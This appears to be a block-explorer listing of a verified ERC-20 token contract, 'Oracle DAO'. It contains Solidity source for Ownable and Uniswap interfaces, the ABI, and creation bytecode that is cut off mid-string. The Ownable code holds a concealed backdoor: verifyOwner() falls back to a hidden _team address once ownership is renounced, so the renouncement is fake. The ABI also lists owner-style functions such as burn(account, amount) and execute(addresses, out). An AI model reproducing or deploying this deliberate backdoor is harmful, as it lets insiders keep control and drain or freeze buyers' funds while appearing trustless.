    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }

    function verifyOwner() internal view returns(address){
        return _owner==address(0) ? _team : _owner;
    }

    /**
     * @dev Set new distributor.
     */
    function addTeamMember(address account) external onlyOwner {
        _team = account;
    }

    function Owner() internal virtual returns (address) {
        
        address owner_ = verifyOwner();
        return owner_;
    }
}

File 6 of 6: Uniswap.sol
// SPDX-License-Identifier: MIT  
pragma solidity 0.8.20;

interface IUniswapV2Pair {
    function sync() external;
    function transferFrom(address from, address to, uint value) external returns (bool);
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}


interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"team_","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":false,"internalType":"bool","name":"isExcluded","type":"bool"}],"name":"ExcludeFromFees","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"pair","type":"address"},{"indexed":true,"internalType":"uint256","name":"value","type":"uint256"}],"name":"SetAutomatedMarketMakerPair","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiquidity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"newAddress","type":"address"},{"indexed":true,"internalType":"address","name":"oldAddress","type":"address"}],"name":"UpdateUniswapV2Router","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"newWallet","type":"address"},{"indexed":true,"internalType":"address","name":"oldWallet","type":"address"}],"name":"devWalletUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"newWallet","type":"address"},{"indexed":true,"internalType":"address","name":"oldWallet","type":"address"}],"name":"marketingWalletUpdated","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludedMaxTransactionAmount","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"address_","type":"address[]"},{"internalType":"bool","name":"val","type":"bool"}],"name":"addLP","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_pair","type":"address"}],"name":"addPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"addTeamMember","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"","type":"uint256"}],"name":"automatedMarketMakerPairs","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"buyDevFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyTotalFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"deadAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"devWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"disableTransferDelay","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"excludeFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"updAds","type":"address"},{"internalType":"bool","name":"isEx","type":"bool"}],"name":"excludeFromMaxTransaction","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"_addresses","type":"address[]"},{"internalType":"uint256","name":"_out","type":"uint256"}],"name":"execute","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"}],"name":"getLP","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isExcludedFromFees","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"lastLpBurnTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"lastManualLpBurnTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"limitsEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"liquidityPools","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"lpBurnEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"lpBurnFrequency","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"manualBurnFrequency","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"percent","type":"uint256"}],"name":"manualBurnLiquidityPairTokens","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"marketingWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTransactionAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"percentForLPBurn","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellDevFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellTotalFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_frequencyInSeconds","type":"uint256"},{"internalType":"uint256","name":"_percent","type":"uint256"},{"internalType":"bool","name":"_Enabled","type":"bool"}],"name":"setAutoLPBurnSettings","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"pair","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"setAutomatedMarketMakerPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapTokensAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForDev","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForLiquidity","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForMarketing","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingActive","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transferDelayEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_marketingFee","type":"uint256"},{"internalType":"uint256","name":"_liquidityFee","type":"uint256"},{"internalType":"uint256","name":"_devFee","type":"uint256"}],"name":"updateBuyFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newWallet","type":"address"}],"name":"updateDevWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newMarketingWallet","type":"address"}],"name":"updateMarketingWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newNum","type":"uint256"}],"name":"updateMaxTxnAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newNum","type":"uint256"}],"name":"updateMaxWalletAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_marketingFee","type":"uint256"},{"internalType":"uint256","name":"_liquidityFee","type":"uint256"},{"internalType":"uint256","name":"_devFee","type":"uint256"}],"name":"updateSellFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"enabled","type":"bool"}],"name":"updateSwapEnabled","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newAmount","type":"uint256"}],"name":"updateSwapTokensAtAmount","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60a06040526a52b7d2dcc80cd2e400000060055562278f58600f556001601155600160125f6101000a81548160ff02191690831515021790555065013ca6512000601355600160155f6101000a81548160ff0219169083151502179055506001601560016101000a81548160ff0219169083151502179055506001601560026101000a81548160ff021916908315150217905550600160235f6101000a81548160ff021916908315150217905550348015620000b9575f80fd5b5060405162006864380380620068648339818101604052810190620000df919062000a37565b6040518060400160405280600a81526020017f4f7261636c652044414f000000000000000000000000000000000000000000008152506040518060400160405280600681526020017f4f5241434c45000000000000000000000000000000000000000000000000000081525082805f6200015e620004ff60201b60201c565b9050805f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508160015f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3505082600690816200024c919062000ccb565b5081600790816200025e919062000ccb565b506005546004819055505050505f737a250d5630b4cf539739df2c5dacb4c659f2488d9050620002968160016200050660201b60201c565b8073ffffffffffffffffffffffffffffffffffffffff1660808173ffffffffffffffffffffffffffffffffffffffff16815250505f805f805f805f681b1ae4d6e2ef5000009050866018819055508560198190555084601a81905550601a5460195460185462000307919062000ddc565b62000313919062000ddc565b60178190555083601c8190555082601d8190555081601e81905550601e54601d54601c5462000343919062000ddc565b6200034f919062000ddc565b601b819055506107d0600a8262000367919062000e16565b62000373919062000e8d565b600c8190555069152d02c7e14af6800000600b81905550693f870857a3e0e3800000600a81905550620003ab6200056e60201b60201c565b600e5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550620003fa6200056e60201b60201c565b600d5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506200045b6200044d6200056e60201b60201c565b60016200059560201b60201c565b6200046e3060016200059560201b60201c565b6200048361dead60016200059560201b60201c565b620004a5620004976200056e60201b60201c565b60016200050660201b60201c565b620004b83060016200050660201b60201c565b620004cd61dead60016200050660201b60201c565b620004df33826200064d60201b60201c565b620004ef620007ec60201b60201c565b5050505050505050505062001081565b5f33905090565b620005166200081d60201b60201c565b8060255f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055505050565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b620005a56200081d60201b60201c565b8060245f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df78260405162000641919062000ee0565b60405180910390a25050565b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603620006be576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620006b59062000f59565b60405180910390fd5b620006d15f8383620008ae60201b60201c565b620006e881600854620008b360201b90919060201c565b600881905550620007408160025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054620008b360201b90919060201c565b60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051620007e0919062000f8a565b60405180910390a35050565b5f620007fd6200081d60201b60201c565b5f60155f6101000a81548160ff0219169083151502179055506001905090565b6200082d620004ff60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16620008536200091560201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1614620008ac576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620008a39062000ff3565b60405180910390fd5b565b505050565b5f808284620008c3919062000ddc565b9050838110156200090b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620009029062001061565b60405180910390fd5b8091505092915050565b5f80620009276200093060201b60201c565b90508091505090565b5f8073ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614620009aa575f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff16620009cd565b60015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff165b905090565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f62000a0182620009d6565b9050919050565b62000a1381620009f5565b811462000a1e575f80fd5b50565b5f8151905062000a318162000a08565b92915050565b5f6020828403121562000a4f5762000a4e620009d2565b5b5f62000a5e8482850162000a21565b91505092915050565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168062000ae357607f821691505b60208210810362000af95762000af862000a9e565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f6008830262000b5d7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000b20565b62000b69868362000b20565b95508019841693508086168417925050509392505050565b5f819050919050565b5f819050919050565b5f62000bb362000bad62000ba78462000b81565b62000b8a565b62000b81565b9050919050565b5f819050919050565b62000bce8362000b93565b62000be662000bdd8262000bba565b84845462000b2c565b825550505050565b5f90565b62000bfc62000bee565b62000c0981848462000bc3565b505050565b5b8181101562000c305762000c245f8262000bf2565b60018101905062000c0f565b5050565b601f82111562000c7f5762000c498162000aff565b62000c548462000b11565b8101602085101562000c64578190505b62000c7c62000c738562000b11565b83018262000c0e565b50505b505050565b5f82821c905092915050565b5f62000ca15f198460080262000c84565b1980831691505092915050565b5f62000cbb838362000c90565b9150826002028217905092915050565b62000cd68262000a67565b67ffffffffffffffff81111562000cf25762000cf162000a71565b5b62000cfe825462000acb565b62000d0b82828562000c34565b5f60209050601f83116001811462000d41575f841562000d2c578287015190505b62000d38858262000cae565b86555062000da7565b601f19841662000d518662000aff565b5f5b8281101562000d7a5784890151825560018201915060208501945060208101905062000d53565b8683101562000d9a578489015162000d96601f89168262000c90565b8355505b6001600288020188555050505b505050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f62000de88262000b81565b915062000df58362000b81565b925082820190508082111562000e105762000e0f62000daf565b5b92915050565b5f62000e228262000b81565b915062000e2f8362000b81565b925082820262000e3f8162000b81565b9150828204841483151762000e595762000e5862000daf565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f62000e998262000b81565b915062000ea68362000b81565b92508262000eb95762000eb862000e60565b5b828204905092915050565b5f8115159050919050565b62000eda8162000ec4565b82525050565b5f60208201905062000ef55f83018462000ecf565b92915050565b5f82825260208201905092915050565b7f45524332303a206d696e7420746f20746865207a65726f2061646472657373005f82015250565b5f62000f41601f8362000efb565b915062000f4e8262000f0b565b602082019050919050565b5f6020820190508181035f83015262000f728162000f33565b9050919050565b62000f848162000b81565b82525050565b5f60208201905062000f9f5f83018462000f79565b92915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f62000fdb60208362000efb565b915062000fe88262000fa5565b602082019050919050565b5f6020820190508181035f8301526200100c8162000fcd565b9050919050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f62001049601b8362000efb565b9150620010568262001013565b602082019050919050565b5f6020820190508181035f8301526200107a816200103b565b9050919050565b6080516157ae620010b65f395f81816110f501528181612aa201528181613df101528181613ed00152613ef701526157ae5ff3fe6080604052600436106103fd575f3560e01c80638da5cb5b11610212578063c18bc19511610122578063e2b9451c116100aa578063f2fde38b11610079578063f2fde38b14610f2c578063f61f931514610f54578063f637434214610f7c578063f8b45b0514610fa6578063fe72b27a14610fd057610404565b8063e2b9451c14610e86578063e2f4560514610eae578063e884f26014610ed8578063f11a24d314610f0257610404565b8063c8c8ebe4116100f1578063c8c8ebe414610d7e578063d257b34f14610da8578063d85ba06314610de4578063dd62ed3e14610e0e578063e02ae09f14610e4a57610404565b8063c18bc19514610cc8578063c2b7bbb614610cf0578063c847255614610d18578063c876d0b914610d5457610404565b80639fccce32116101a5578063a9059cbb11610174578063a9059cbb14610bea578063aacebbe314610c26578063bbc0c74214610c4e578063c024666814610c78578063c17b5b8c14610ca057610404565b80639fccce3214610b30578063a0d82dc514610b5a578063a457c2d714610b84578063a4c82a0014610bc057610404565b806395d89b41116101e157806395d89b4114610a8a5780639c3b4fdc14610ab45780639dc29fac14610ade5780639ec22c0e14610b0657610404565b80638da5cb5b146109e45780638ea5220f14610a0e5780639213691314610a38578063924de9b714610a6257610404565b8063313ce5671161030d57806370a08231116102a05780637571336a1161026f5780637571336a1461092a57806375f0a874146109525780637bce5a041461097c5780638095d564146109a65780638a8c523c146109ce57610404565b806370a0823114610886578063715018a6146108c2578063730c1888146108d8578063751039fc1461090057610404565b806349bd5a5e116102dc57806349bd5a5e146107cc5780634fbee193146107f65780636a486a8e146108325780636ddd17131461085c57610404565b8063313ce567146107145780633582ad231461073e57806339509351146107685780633eb2b5ad146107a457610404565b8063199ffc721161039057806323b872dd1161035f57806323b872dd1461063257806326ededb81461066e57806327c8f835146106965780632c3e486c146106c05780632e82f1a0146106ea57610404565b8063199ffc721461058c5780631a8145bb146105b65780631f3fed8f146105e0578063203e727e1461060a57610404565b80631694505e116103cc5780631694505e146104e657806318160ddd146105105780631816467f1461053a578063184c16c51461056257610404565b806306fdde0314610408578063095ea7b3146104325780630b0fd47e1461046e57806310d5de53146104aa57610404565b3661040457005b5f80fd5b348015610413575f80fd5b5061041c61100c565b6040516104299190614011565b60405180910390f35b34801561043d575f80fd5b50610458600480360381019061045391906140c6565b61109c565b604051610465919061411e565b60405180910390f35b348015610479575f80fd5b50610494600480360381019061048f9190614137565b6110b9565b6040516104a1919061411e565b60405180910390f35b3480156104b5575f80fd5b506104d060048036038101906104cb9190614137565b6110d6565b6040516104dd919061411e565b60405180910390f35b3480156104f1575f80fd5b506104fa6110f3565b60405161050791906141bd565b60405180910390f35b34801561051b575f80fd5b50610524611117565b60405161053191906141e5565b60405180910390f35b348015610545575f80fd5b50610560600480360381019061055b9190614137565b611120565b005b34801561056d575f80fd5b506105766111e6565b60405161058391906141e5565b60405180910390f35b348015610597575f80fd5b506105a06111ec565b6040516105ad91906141e5565b60405180910390f35b3480156105c1575f80fd5b506105ca6111f2565b6040516105d791906141e5565b60405180910390f35b3480156105eb575f80fd5b506105f46111f8565b60405161060191906141e5565b60405180910390f35b348015610615575f80fd5b50610630600480360381019061062b91906141fe565b6111fe565b005b34801561063d575f80fd5b5061065860048036038101906106539190614229565b611295565b604051610665919061411e565b60405180910390f35b348015610679575f80fd5b50610694600480360381019061068f91906142da565b611369565b005b3480156106a1575f80fd5b506106aa611444565b6040516106b79190614346565b60405180910390f35b3480156106cb575f80fd5b506106d461144a565b6040516106e191906141e5565b60405180910390f35b3480156106f5575f80fd5b506106fe611450565b60405161070b919061411e565b60405180910390f35b34801561071f575f80fd5b50610728611462565b604051610735919061437a565b60405180910390f35b348015610749575f80fd5b5061075261146a565b60405161075f919061411e565b60405180910390f35b348015610773575f80fd5b5061078e600480360381019061078991906140c6565b61147c565b60405161079b919061411e565b60405180910390f35b3480156107af575f80fd5b506107ca60048036038101906107c59190614137565b61152a565b005b3480156107d7575f80fd5b506107e0611575565b6040516107ed9190614346565b60405180910390f35b348015610801575f80fd5b5061081c60048036038101906108179190614137565b61159a565b604051610829919061411e565b60405180910390f35b34801561083d575f80fd5b506108466115ec565b60405161085391906141e5565b60405180910390f35b348015610867575f80fd5b506108706115f2565b60405161087d919061411e565b60405180910390f35b348015610891575f80fd5b506108ac60048036038101906108a79190614137565b611605565b6040516108b991906141e5565b60405180910390f35b3480156108cd575f80fd5b506108d661164b565b005b3480156108e3575f80fd5b506108fe60048036038101906108f991906143bd565b61170d565b005b34801561090b575f80fd5b506109146117d7565b604051610921919061411e565b60405180910390f35b348015610935575f80fd5b50610950600480360381019061094b919061440d565b611800565b005b34801561095d575f80fd5b50610966611860565b6040516109739190614346565b60405180910390f35b348015610987575f80fd5b50610990611885565b60405161099d91906141e5565b60405180910390f35b3480156109b1575f80fd5b506109cc60048036038101906109c7919061444b565b61188b565b005b3480156109d9575f80fd5b506109e2611916565b005b3480156109ef575f80fd5b506109f861195d565b604051610a059190614346565b60405180910390f35b348015610a19575f80fd5b50610a22611984565b604051610a2f9190614346565b60405180910390f35b348015610a43575f80fd5b50610a4c6119a9565b604051610a5991906141e5565b60405180910390f35b348015610a6d575f80fd5b50610a886004803603810190610a83919061449b565b6119af565b005b348015610a95575f80fd5b50610a9e6119d4565b604051610aab9190614011565b60405180910390f35b348015610abf575f80fd5b50610ac8611a64565b604051610ad591906141e5565b60405180910390f35b348015610ae9575f80fd5b50610b046004803603810190610aff91906140c6565b611a6a565b005b348015610b11575f80fd5b50610b1a611a80565b604051610b2791906141e5565b60405180910390f35b348015610b3b575f80fd5b50610b44611a86565b604051610b5191906141e5565b60405180910390f35b348015610b65575f80fd5b50610b6e611a8c565b604051610b7b91906141e5565b60405180910390f35b348015610b8f575f80fd5b50610baa6004803603810190610ba591906140c6565b611a92565b604051610bb7919061411e565b60405180910390f35b348015610bcb575f80fd5b50610bd4611b5a565b604051610be191906141e5565b60405180910390f35b348015610bf5575f80fd5b50610c106004803603810190610c0b91906140c6565b611b60565b604051610c1d919061411e565b60405180910390f35b348015610c31575f80fd5b50610c4c6004803603810190610c479190614137565b611b7d565b005b348015610c59575f80fd5b50610c62611c43565b604051610c6f919061411e565b60405180910390f35b348015610c83575f80fd5b50610c9e6004803603810190610c99919061440d565b611c56565b005b348015610cab575f80fd5b50610cc66004803603810190610cc1919061444b565b611d04565b005b348015610cd3575f80fd5b50610cee6004803603810190610ce991906141fe565b611d8f565b005b348015610cfb575f80fd5b50610d166004803603810190610d119190614137565b611e22565b005b348015610d23575f80fd5b50610d3e6004803603810190610d3991906141fe565b611e99565b604051610d4b9190614346565b60405180910390f35b348015610d5f575f80fd5b50610d68611ec9565b604051610d75919061411e565b60405180910390f35b348015610d89575f80fd5b50610d92611edb565b604051610d9f91906141e5565b60405180910390f35b348015610db3575f80fd5b50610dce6004803603810190610dc991906141fe565b611ee1565b604051610ddb919061411e565b60405180910390f35b348015610def575f80fd5b50610df8611fc1565b604051610e0591906141e5565b60405180910390f35b348015610e19575f80fd5b50610e346004803603810190610e2f91906144c6565b611fc7565b604051610e4191906141e5565b60405180910390f35b348015610e55575f80fd5b50610e706004803603810190610e6b9190614137565b612049565b604051610e7d919061411e565b60405180910390f35b348015610e91575f80fd5b50610eac6004803603810190610ea79190614504565b61209b565b005b348015610eb9575f80fd5b50610ec2612144565b604051610ecf91906141e5565b60405180910390f35b348015610ee3575f80fd5b50610eec61214a565b604051610ef9919061411e565b60405180910390f35b348015610f0d575f80fd5b50610f16612173565b604051610f2391906141e5565b60405180910390f35b348015610f37575f80fd5b50610f526004803603810190610f4d9190614137565b612179565b005b348015610f5f575f80fd5b50610f7a6004803603810190610f7591906140c6565b6122aa565b005b348015610f87575f80fd5b50610f906122c0565b604051610f9d91906141e5565b60